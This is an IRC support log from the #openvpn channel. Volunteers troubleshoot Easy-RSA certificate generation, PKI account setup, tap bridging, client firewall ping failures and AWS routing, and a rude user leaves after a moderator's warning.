13:48 < Six6siX> there*
13:49 < rob0> pekster, did you look at my lousy reimplementation of easy-rsa? I recently fixed it (it had been horribly broken.)
13:50 < pekster> No, I ended up starting basically from scratch on some redesign
13:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:50 < pekster> I've got a new round of changes to make manually sourcing the config unnecessary, but you can check out what I've got now at: https://github.com/QueuingKoala/easy-rsa
13:50 <@vpnHelper> Title: QueuingKoala/easy-rsa · GitHub (at github.com)
13:50 < pekster> I've completely updated the OpenSSL config and operation too
13:50 < pekster> By default, no more silly "org/city/state/OU" cruft :)
13:51 < rob0> good
13:51 < pekster> And I'm making it easy to remove (and may make it the default, I'm not sure yet, to omit the "Netscape" extensions too)
13:51 < pekster> Sugggestsions welcome (here or -devel as you like) although I'm aware the sourcing business isn't exactly friendly. A solution is already in the works to fix that, and even run "configless" if desired
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:54 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
13:56 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
13:59 -!- Six6siX [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has quit [Ping timeout: 260 seconds]
14:05 -!- robert___ [~hellspawn@static-96-254-212-18.tampfl.fios.verizon.net] has joined #openvpn
14:05 -!- robert___ [~hellspawn@static-96-254-212-18.tampfl.fios.verizon.net] has quit [Changing host]
14:05 -!- robert___ [~hellspawn@objectx/robert] has joined #openvpn
14:05 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
14:08 -!- robert_ [~hellspawn@objectx/robert] has quit [Ping timeout: 258 seconds]
14:08 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
14:08 -!- robert_ [~hellspawn@static-96-254-212-18.tampfl.fios.verizon.net] has joined #openvpn
14:08 -!- robert_ [~hellspawn@static-96-254-212-18.tampfl.fios.verizon.net] has quit [Changing host]
14:08 -!- robert_ [~hellspawn@objectx/robert] has joined #openvpn
14:09 -!- pyrobisqit__ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
14:09 -!- pyrobisqit__ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
14:09 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
14:10 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Client Quit]
14:10 -!- robert___ [~hellspawn@objectx/robert] has quit [Ping timeout: 256 seconds]
14:10 -!- pyrobisqit_ [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Client Quit]
14:10 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
14:11 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has quit [Client Quit]
14:12 -!- pyrobisqit [~pyrobisqi@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
14:13 -!- robert_ [~hellspawn@objectx/robert] has quit [Ping timeout: 255 seconds]
14:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
14:21 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer]
14:28 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
14:28 -!- mode/#openvpn [+o raidz] by ChanServ
14:29 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
14:35 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
14:35 -!- Six6siX [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has joined #openvpn
14:36 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
14:36 < hrenovo> hi guys. I am stuck on something silly. I have 4 clients connected to the server, and I can ping the server from each client, but I cannot ping any client. I tried this test with firewal completely turned off on the  client but no luck.
14:36 < hrenovo> also, I have client-to-client directive in server.conf
14:36 < hrenovo> ideas ? Thanks in advance.
14:37 -!- Six6siX_ [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has joined #openvpn
14:37 < pekster> Can't ping from the server to the client?
14:37 < Six6siX_> hey fellas, back again.. with another problem..
14:37 < hrenovo> pekster: thats right
14:37 < pekster> If so, it is certainly a firewall issue. The reply ping goes back fine, so openvpn and routing are working normally
14:37 < hrenovo> pekster: can't ping client to client either
14:37 < pekster> Despite your assertation that it's not a firewall, it is
14:38 < hrenovo> pekster: I tried it with firewall turned off on the client
14:38 < Six6siX_> i built the keys earlier.. and im now unable to connect to the server.. It just disconnects without any errors...  however my suspicions are when i built my keys it gave me an error "unable to update databse TXT_DB error number 2"
14:39 < pekster> Six6siX_: Sounds like you didn't use a unique CN
14:39 < Six6siX_> o_O
14:39 < pekster> IIRC that's the error you get. The CN (Common Name) of the certificate must be unique
14:39 < Six6siX_> oh...
14:39 < pekster> It's used to uniquely identify each certificate. They may not match, and the error you got is openssl refusing to add it
14:40 < Six6siX_> I named the key laptop.. and there wasnt any keys named laptop at the time
14:41 -!- Six6siX [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has quit [Ping timeout: 258 seconds]
14:41 < pekster> hrenovo: Again, if the ping from clien tto server works, there is by definition a reply packet (the echo-reply) that is getting sent back. openvpn is doing exactly what it's supposed to. tcpdump traffic starting on your server for the ping, and check your firewalls again
14:42 -!- benkay [~benkay@67.50.19.230] has joined #openvpn
14:43 < benkay> what do I need to know about setting up a CA with pkitool vs build-ca?
14:43 < benkay> !welcome
14:43 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:43 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:43 < hrenovo> pekster: firewall on the client?
14:43 < benkay> !goal understand differences between pkitool and build-ca
14:45 < pekster> Firewall at either end
14:45 < pekster> Hence tracing the packet
14:46 < pekster> Follow the flow of data, starting at the end sending it
14:46 < pekster> It would be possible (although odd) to have configured a server to drop outbound requests to a client, for instance
14:47 < rob0> except --client-to-client bypasses the OS firewall
14:47 < pekster> He's having issues getting from the server to the client
14:47 < pekster> Still think that'll hit filter/OUTPUT
14:47 < pekster> Among the usual mangle/nat tables
14:47 < rob0> server to client could, yes
14:47 < pekster> (on Linux, anyway)
14:47 < rob0> client to client can't be a server firewall with --client-to-client
14:48 < pekster> benkay: build-ca and the other scripts are just frontends. pkitool in Easy-RSA 2.x does all the real work
14:48 < benkay> thanks pekster!
14:48 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
14:48 < Six6siX> thank you pekster
14:49 < Six6siX> i've rebuilt the key with a unique name
14:49 < Six6siX> and it works
14:49 < pekster> Great
14:51 -!- Six6siX_ [~six6six@cpc2-ely06-2-0-cust377.5-1.cable.virginmedia.com] has quit [Ping timeout: 258 seconds]
14:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:53 < benkay> when I run ./clean-all, I'm told to source ./vars first
14:53 < benkay> except that I already have
14:54 < benkay> confus!
14:55 < rob0> do you know what ./clean-all does? If you had a PKI, now you don't.
14:55 < benkay> yup! i do.
14:55 < benkay> my solution, if anyone cares at a later date, was to sudo -s and then source ./vars
14:56 < benkay> this is necessary because source is a bash command
14:56 < benkay> `sudo -s`, `source ./vars`
14:56 < rob0> um, there should be no need to sudo, just run the commands as the user who owns the PKI files.
14:58 < rob0> in fact, you probably do NOT want your CA/PKI to be owned by root.
14:58 < benkay> I can see how that would be a good idea.
14:58 < benkay> so, I'm setting up the PKI for the first time
14:58 < pekster> There's no reason Easy-RSA (or the openssl tool it calls to do the backend work) does not need to be run as root. You should not run things as root unless you need to (this is a Unix mentality)
14:59 < pekster> Erm, no reason it does need to be run as root
14:59 < rob0> yeah, no problem to blow it away a few times while playing around :)
15:00 < pekster> I create a role account to handle my PKI tasks, and all the files are mode 600 (or 700 for scripts.) No other user can view the files besides that account (and technically root, but root doesn't own or run any of my PKI scripts)
15:00 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 256 seconds]
15:00 < rob0> Another tip: if possible, your CA key and PKI files should not be on the VPN server.
15:00 < rob0> (Ideally not on the VPN at all.)
15:00 < benkay> thanks, rob0
15:00 < rob0> yw
15:00 < benkay> i'll take all the tips you care to share
15:00 < pekster> rob0: Oh, btw, generation of keypairs off the CA system gets easier in my codebase too :)
15:01 < benkay> well, then. let's return to the original question: what kind of dumb am I engaging in that `source ./vars` followed by `./clean-all` returns `please source the vars script first` ?
15:01 < pekster> If you're running it through sudo, your environment has changed
15:01 < pekster> 'vars' just puts the configuration Easy-RSA expects into the environment, so changing users messes with that
15:01 < benkay> makes sense.
15:02 < pekster> Don't run it through sudo. Better yet, take the time to create a new account, maybe call it 'pki' or such. Then you perhaps start your PKI tasks by first doing: sudo su - pki
15:02 < pekster> Enter your user's sudo password, and you elevate (as root) to become that user. *then* you source vars and continue as normal, doing everything as the pki user
15:03 < benkay> awesome.
15:03 < benkay> that makes a whole lot of sense.
15:03 < benkay> I really appreciate your patience.
15:03 < rob0> I just have my CA in my regular user account.
15:04 < pekster> Depends on what you use the box for. I have a dedicated 'admin' host, and PKI tasks are all handled by a role account. Then again, I like the separation of duty :)
15:05 < rob0> if my user account got pwn3d, I'd be in a world of hurt :)
15:05 < pekster> Not as much that, but I don't normally even *want* access to read/backup/overwrite/destroy those files unless I am specifically performing PKI tasks
15:05 < rob0> and that's true on more than one system, unfortunately
15:06 -!- tcamuso_ [tcamuso@nat/redhat/x-stzdjglvmiahqwgn] has quit [Ping timeout: 258 seconds]
15:06 < rob0> At least my SSH keys are encrypted with not likely guessable passphrases.
15:07 < pekster> <3 ssh-agent
15:07 < pekster> Of course, I'm OCD about my interactive login security, so SSO is nice
15:09 < benkay> so here's my plan. double check if you're willing?
15:10 < benkay> create user pki, give strong password, sudo su - pki, `source ./vars` `./clean-all` etc
15:10 < benkay> do all open vpn stuff as user pki
15:11 < pekster> You don't need to give the account any password if you'll su into it
15:11 < benkay> the more you know!
15:11 < benkay> thanks, pekster.
15:11 < pekster> Otherwise, yes
15:11 < benkay> groovy.
15:12 < benkay> let's try it!
15:12 < pekster> You could do it as your user too as rob0 noted. I like unique accounts for sensitive ops, but there's no single or "right" way to do most of this
15:13 < pekster> Some people use removable media for their PKI (USB stick or such) so it can be kept offline. Some use a completely disconnect computer not even online. All depends on your goals and security needs
15:14 < benkay> i'm running this all in /etc/openvpn/easy-rsa, which out of the box does not permit my pki user to create things
15:14 < pekster> You shouldn't do that (did you miss the big warning to this end in the vars comments?) Copy it somewhere else
15:14 < pekster> Probably under /home/pki/ in your setup
15:17 < digilink> hey guys... have a ?. I am thinking about deploying an OpenVPN tap point to point VPN for layer 2 convenience from one location to another. I will be running Debian linux on either side, the server side only has one nic which is attached to the subnet I am trying to extend, but the client side will have two nic's, one for an already established network, and the other dedicated to the VPN that
15:17 < digilink> I would like to attach to a switch. Im at a bit of a loss on what to do on the client side however, will I need to bridge the TAP interface like on the server and then just plug it into the switch? I am wanting to do full layer 2 (DHCP, local DNS, etc) back to my subnet at the server side is my goal...
15:18 < pekster> !bridging
15:18 <@vpnHelper> "bridging" is (#1) Using bridges is either completely stupid or clever. It is stupid if you do it because you think it is easier. It is clever if you're a network knowledgeable person who understands networking very well and knows why routing won't fit for you or (#2) See also https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
15:18 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:18 < pekster> The guide may be useful. In short, you create a bridge interace that holds the IP you want to use and add the NIC and tap device to the bridge as members
15:19 < rob0> Removable media for a PKI is a great idea. What is NOT a good idea is for that media to be a VM image. :) It's better to run easy-rsa in Windows than to run it on a virtual machine with no decent entropy source.
15:19 < benkay> ah, I see. and then when I edit the config files for my tcp/udp instances, i'll point at the keys in /home/pki/whatever
15:19 < rob0> (I mention this because I had to talk a client out of doing that once.)
15:19 < pekster> rob0: Yea, same issue with bootable liveCDs and such too actually. Even if you boot it on a system with a reak disk, it won't generally have built up much/any useful entropy if it's a one-shot setup
15:19 < digilink> pekster: thanks, that's what I thought. so I would just create the bridge on the client side and assign the IP to it?
15:20 < pekster> Yup
15:20 < digilink> gotcha.... thanks much :)
15:21 < pekster> If it's just between those 2 systems you can just statically define it. Then you can either manage the tap device in your OS on boot and tell OpenVPN to use tap0 specifically (not just a dynamic tap which would create tap1 if tap0 exists) or you can let openvpn dynamically manage it and use a script to add the device to the bridge
15:22 < pekster> It's often a less complex setup to use routing and a DHCP forwarder, but it sounds like you have a clue already and may want bridging for other reasons so I won't scold you too much for that :)
15:22 < digilink> one other thing, the bridge interface will need to be on the same subnet as I am attempting to extend correct? or do they need to be unique like in a routed setup?
15:22 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 258 seconds]
15:23 < pekster> You generally want them on the same subnet, yes. Technically you can have as many subnets on a L2 network as you want, but that's not often done
15:23 < pekster> For instance, I'm running an IPv4 and IPv6 subnet at home, both on the same broadcast domain. I could just as easily add another IPv4 network too, if I wanted
15:23 < digilink> this should be fun hehe... I'm doing routing now and it works, but having full layer 2 would be nice :)
15:24 < pekster> If it's just DNS/DHCP, I'd suggest routing is better with a dhcp forwarder agent at the remote site. But, your call of course
15:24 < digilink> not sure how my bandwidth will hold up either, I have 30/6 on one end, 16/4 on the other
15:25 < pekster> Remember that local LAN clients will get fed the default gateway across the VPN, so if the link goes down, so does their Internet access (unless you're handling that specially with DHCP classes and handing out different gateways, in which case you really shouldn't be bridging to begin with)
15:25 < digilink> Ill definitely experiment, in the end the routed setup may be better. the biggest thing I'm after would be able to see my NAS', bonjour devices, printers, etc
15:26 < pekster> Yea, sounds to me like you should set up DNS properly, not bridge
15:26 < digilink> DNS is working, I can connect to things now, but wanted to push the envelope by trying out TAP as I've never done it
15:34 -!- brute11k [~brute@89.249.231.173] has quit [Quit: Leaving.]
15:44 < benkay> would someone confirm this for me? client certificates need to reside in /etc/openvpn/keys/, correct?
15:45 < rob0> Your config defines where your certificates should be. If it contains a "cd /etc/openvpn" (as is very common) you would use paths relative to /etc/openvpn in the rest of the config.
15:46 < benkay> thanks rob0.
15:46 < rob0> Technically you can put any files anywhere you want, but /etc/openvpn is a sane standard.
15:46 < benkay> clarification: the files that remain on the vpn server are the "certificates", correct? I've already verified that I don't want to leave the "keys" on there.
15:47 < rob0> The server needs its own key, dhparam, its own cert, and the CA cert.
15:47 < benkay> ah ha
15:47 < rob0> Clients need their own key and cert, and the CA cert.
15:49 < benkay> but the server doesn't need the client certs?
15:50 < benkay> oh of course not if i signed them during generation on the server
15:50 < benkay> ...
15:50 < benkay> right?
15:51 < pekster> The server does not need any client certs. It verifies a client is valid by checking the signature on the cert the client hands over against the server's ca.crt file
15:55 < benkay> cool. that's what I thought.
16:01 < hrenovo> pekster: you were right, it was the client side firewall. I turned it off entirely and now I can ping the client where the firewall is turned off from both the server, and another client.
16:02 < hrenovo> So instead of turning windows 7 firewall off, what rule should be added in windows 7 firweall to allow client-to-client communication including ping ?
16:03 < pekster> Turn it off on the interface?
16:03 < pekster> And maybe go find yourself an OS that lets you edit the firewall rules properly? </potshot at MS>
16:04 -!- teknoprep [~quassel@unaffiliated/teknoprep] has joined #openvpn
16:04 < teknoprep> hi all
16:04 < teknoprep> i have installed openvpn AMI on EC2
16:04 < teknoprep> i am unable to route traffic unless i use NAT
16:05 < pekster> In the network control deal you can turn on/off the firewall per-interface. I often just allow inbound traffic by interface since I mostly trust the VPN. In theory that allows other clinets to pound your open services (which on Windows, might be more than you think.) Again, the "right" solution is to secure your services, possibly by running an OS that handles it better
16:05 < pekster> teknoprep: Where are you expecting to route to? Unless you set up an internal network of VMs that's aware of the return route for the VPN network, that's completely normal
16:06 -!- Keshl [~Purple@24.115.178.18.res-cmts.gld.ptd.net] has quit [Ping timeout: 256 seconds]
16:06 < teknoprep> i setup a static route on the box i am attempting to access... this route points to the LAN ip of the OpenVPN EC2 server.... this OVPN server is running on the same subnet... so traffic would be as follows ... Rmote Client ---- OVPN External IP NAT'd to OVPN Internal IP ---- OVPN BOX LAN --- Some Server on same LAN
16:07 < teknoprep> so on the box that is on the same subnet in EC2 as OVPN... i have already setup the static route for the Remote Client Network
16:07 < pekster> You need to set up an internal netwnonrk on AWS's side; AWS won't route private IP space for your VPNs for you
16:08 < teknoprep> i have an internal network on the AWS side
16:08 < teknoprep> 10.254.1.0/24
16:08 < teknoprep> OVPN is 10.254.1.10 ... my other server is 10.254.1.9
16:08 < pekster> Ah, k. Then a proper return route for your $VPN_NET/$CIDR via 10.254.1.10 should do it, plus relevant firewall rules and routing on the server
16:08 < pekster> Basically, all of this:
16:08 < pekster> !serverlan
16:08 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:09 < pekster> (assuming OpenVPN as your server on the EC2 host)
16:09 < pekster> Otherwise see !clientlan
16:09 < teknoprep> route add -net j10.2.1.0 netmask 255.255.255.0 gw 10.254.1.10
16:09 < teknoprep> i have already done that
16:09 < pekster> There's a lot more on that troubleshooting flowchart than that...
16:10 < teknoprep> i have already done your flowchart
16:10 < pekster> Follow each step, and if you're still confused, start tcpdumping packet flow
16:10 < teknoprep> i enabled routing on OpenVPN
16:10 < pekster> Well, then what part did you determine was the problem?
16:10 < teknoprep> i disabled the firewall compeletely
16:10 < teknoprep> i believe the OpenVPN box is not routing traffic properly
16:10 < pekster> The flowchart ends with you successfully being able to ping things
16:10 < teknoprep> from one network to another
16:10 < pekster> So, how can you have "done the flowchart" and still have problems
16:11 < pekster> So, enable routing? Like the bot output says?
16:11 < pekster> !ipforward
16:11 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:11 < teknoprep> i can ping from my remote network to the OpenVPN box... all IP's of it... both LAN IP's and OVPN routed networking ip's
16:11 < pekster> Okay, great. That's step 1.
16:11 < pekster> (well, and 2)
16:11 < teknoprep> from the other AWS server i can ping the LAN ip of the OVPN server
16:11 < teknoprep> the route is already configured on my remote client
16:12 < pekster> Via a push from the server, to the peered VPN IP?
16:12 < teknoprep> i believe so... i can't find that option in the OpenVPN Web Admin
16:12 < pekster> "Web Admin"
16:12 < teknoprep> other than setting the remote network subnet
16:12 < teknoprep> OpenVPN Access Server
16:12 < pekster> If you're using "Access Server" you're in the wrong place. This channel is for the GPL OpenVPN project, not the commercial closed-source thing
16:12 < teknoprep> is what i am using
16:13 < pekster> !as
16:13 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:13 < pekster> We deal with the open-source project only here
16:13 < teknoprep> bah... i'll load up an openVPN server then
16:13 < teknoprep> i thought this was the same thing
16:13 < pekster> Nope. There's absoutely no "Web GUI" in the GPL side :)
16:13 < teknoprep> i use PFsense Gui
16:13 < pekster> It's also open-source and free to use, contribute, and modify
16:14 < rob0> !pfsense
16:14 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
16:14 < teknoprep> yes i understand what GPL CDDL and whatelse
16:14 < pekster> AS is for people who want to pay for support and pretty UIs. Which is fine if that's the goal (it's not mine) :)
16:14 < pekster> IIRC you get for free "5 users for testing" or something. I never bothered to read far enough to find out what "testing" is defined to be, legally
16:14 < teknoprep> your at this point useless
16:15 < teknoprep> keep praising your "i hate web gui's"
16:15 < rob0> heh
16:15 < teknoprep> i didn't come here to debate free vs paid
16:15 < pekster> You're in the wrong channel if you want help with a frontend. It could be worse: I could turn out to be RMS :D
16:15 < rob0> You should not plan to come into a channel and ask for help, then call the helpers "useless".
16:16 < pekster> Now, I'll go take my useless self and go to some development work. You know, on OpenVPN
16:16 < rob0> It never ceases to amaze me how many people think that works!
16:16 < rob0> Guess what? It usually backfires.
16:16 < teknoprep> thanks for the life lesson
16:17 < teknoprep> i'll now change my attitude towards all people who like to be argumentative yet still useless
16:17 < rob0> teknoprep, you're useless to us also, FWIW. Want to work on my car for me?
16:17 < teknoprep> i agree
16:17 < teknoprep> i didn't come here giving anything back
16:17 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 240 seconds]
16:18 < teknoprep> i do like how you are defending the average attitude of most IRC users
16:19 < pekster> No one expects that. We do expect relative politeness though.
16:20 < teknoprep> so i should do what you do and just compeletely stop the conversations i have with people when i do not agree with the conversation topic and then change it to what i think is right
16:20 < teknoprep> ??
16:20 < rob0> "your[sic] at this point useless" does not meet the politeness test. Perhaps you could say: "Oops, you're right, I am sorry."
16:21 < rob0> but anyway, I have to go work on the car :(
16:21 < teknoprep> pay someone else to do it
16:21 < rob0> can't afford it
16:21 < teknoprep> you seem bright
16:21 < teknoprep> why waste time on a car...
16:23 < teknoprep> investing time into something that makes money is more valuable... i would in your situation find a way to make money with your time so that you can afford it
16:23 < teknoprep> putting time into a car is a waste worse than the money you would spend getting it fixed.. in almost every situation
16:25 -!- mode/#openvpn [+o pekster] by ChanServ
16:25 <@pekster> Last warning
16:26 < teknoprep> lol
16:26 < teknoprep> later
16:26 -!- teknoprep [~quassel@unaffiliated/teknoprep] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
16:26 -!- mode/#openvpn [-o pekster] by ChanServ
16:26  * jzaw <rolls eyes>
16:26 < pekster> Self-solving problem, apparently.
16:26 < digilink> trolls are fun
16:26 < digilink> :/
16:26 < pekster> Moreso when they self-ban too :)
16:26 < pekster> Saves me a command
16:26 < digilink> hehe indeed :)
16:27 < jzaw> i was going blue from holding my breath for when he'd give up
16:27 < digilink> same here lol
16:28 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:30 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
16:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 276 seconds]
17:11 -!- master_o1_master [~master_of@p4FF24555.dip.t-dialin.net] has joined #openvpn
17:14 -!- master_of_master [~master_of@p4FF24B99.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
17:19 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has left #openvpn []
17:22 -!- corretico [~luis@190.211.93.38] has quit [Read error: No route to host]
17:27 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:41 < jzaw> ping pekster
17:44 < jzaw> what happens [bad?] if im routing via taps rather than tuns ?
17:45 < jzaw> i get that for bridging id have to use tap
17:46 < Aprogas> You are working on a different network layer if you do that.
17:46 < jzaw> is there any advantage to routing on tuns than taps
17:46 < Aprogas> In certain situations, probably.
17:46 < Aprogas> If you feel tap better suits your purposes, then use that.
17:46 < jzaw> 30B overheads ? things like that?
17:47 < jzaw> well ... tap just takes two ips ... one each end from a /30 .. no need for topology or owt
17:47 < jzaw> seems easier
17:47 < Aprogas> I only use OpenVPN to make some SNMP-servers reachable from a central monitoring software, without having to run those SNMP-server listening on the public internet (they run as root after all).
17:48 < jzaw> ive managed to get a /29 for the client lan and /30 for the taps
17:48  * jzaw nods
17:48 < Aprogas> So I only care about transmitting UDP and not about IP, so tun seemed fine for my purposes.
17:49 < jzaw> ive done this for my FiL so that even if the isp take his pub ip off him (me) ill still be able to get in and admin his kit
17:49 < jzaw> im using tcp
17:49 < jzaw> cos its about 2,000km+
17:49 < jzaw> and ive found voip to be less artifacty / poppy / lossy with a tcp tun
17:50 < jzaw> even though voip itself is udp
17:52 < Aprogas> I have to go.
17:52 < jzaw> 0/
17:56 -!- dlucio [~dieu@CPEbcc8100f9978-CMbcc8100f9975.cpe.net.cable.rogers.com] has quit [Quit: Konversation terminated!]
17:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:01 -!- mallxs [~mallxs@84.246.31.190] has quit [Read error: Connection reset by peer]
18:02 -!- mallxs [~mallxs@84.246.31.190] has joined #openvpn
18:05 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
18:06 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
18:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
18:15 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:24 -!- master_o1_master [~master_of@p4FF24555.dip.t-dialin.net] has quit [Read error: Operation timed out]
18:26 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
18:29 -!- master_of_master [~master_of@p4FF24A9A.dip.t-dialin.net] has joined #openvpn
18:34 -!- master_o1_master [~master_of@p4FF24A9D.dip.t-dialin.net] has joined #openvpn
18:34 -!- master_of_master [~master_of@p4FF24A9A.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
18:41 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
18:41 < hrenovo> hello again everyone
18:41 < hrenovo> I come with questions again )
18:51 < Poster> I'm guessing the question would get you closer to the answer
18:54 -!- MaynardWaters [~asdfjkl@c-71-238-30-69.hsd1.mi.comcast.net] has quit [Remote host closed the connection]
19:00 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:09 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 272 seconds]
19:10 -!- meepmeep [meepmeep@212.24.104.229] has joined #openvpn
19:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
19:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:22 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
19:23 < hrenovo> Poster: hi )
19:23 < hrenovo> https://forums.openvpn.net/topic12479.html
19:23 <@vpnHelper> Title: OpenVPN Support Forum openvpn server cannot ping the client : Server Administration (at forums.openvpn.net)
19:23 < hrenovo> I have been typing my question on the forums.
19:23 < hrenovo> sorry for the delay
19:24 < hrenovo> my nick there is vmlxnetwork
19:27 < Poster> try tcpdump on the openvpn server
19:27 < Poster> you can also check arp cache
19:28 < Poster> since you can ping the server, you have layers 2 and 3 in place
19:29 -!- master_o1_master [~master_of@p4FF24A9D.dip.t-dialin.net] has quit [Ping timeout: 246 seconds]
19:30 < hrenovo> Poster: tcpdump ?
19:31 -!- master_of_master [~master_of@p4FF24F9F.dip.t-dialin.net] has joined #openvpn
19:33 < Poster> http://www.tcpdump.org/
19:33 <@vpnHelper> Title: TCPDUMP/LIBPCAP public repository (at www.tcpdump.org)
19:33 < hrenovo> install tcpdump on the server?
19:34 < Poster> what OS is the server?
19:34 < hrenovo> Debian 6
19:34 < Poster> sudo apt-get install tcpdump
19:35 < hrenovo> installed
19:36 -!- master_o1_master [~master_of@p4FF24D22.dip.t-dialin.net] has joined #openvpn
19:37 < Poster> ok so what is the interface name you're using for VPN clients?
19:37 < hrenovo> tun0
19:38 < Poster> ok so type
19:38 < Poster> sudo tcpdump -i tun0 icmp
19:38 < Poster> then in another window try to ping a client
19:38 < Poster> you'll probably see the icmp echo request leave, but no response
19:39 -!- master_of_master [~master_of@p4FF24F9F.dip.t-dialin.net] has quit [Ping timeout: 264 seconds]
19:42 -!- master_of_master [~master_of@p4FF24C20.dip.t-dialin.net] has joined #openvpn
19:44 < hrenovo> Poster: yup I see it there
19:44 < hrenovo> Poster: but no ping reply in the other putty window
19:44 < hrenovo> 20:41:48.065570 IP 10.8.0.1 > 10.8.0.6: ICMP echo request, id 11444, seq 1, length 64
19:45 -!- master_o1_master [~master_of@p4FF24D22.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
19:46 < Poster> which corresponds to the no response
19:47 < hrenovo> 10.8.0.6
19:47 < hrenovo> pinging from 10.8.0.1 to 10.8.0.6
19:48 -!- jaded-g0n [~root@113.210.96.159] has joined #openvpn
19:48 -!- raidz is now known as raidz_away
19:48 < jaded-g0n> hello
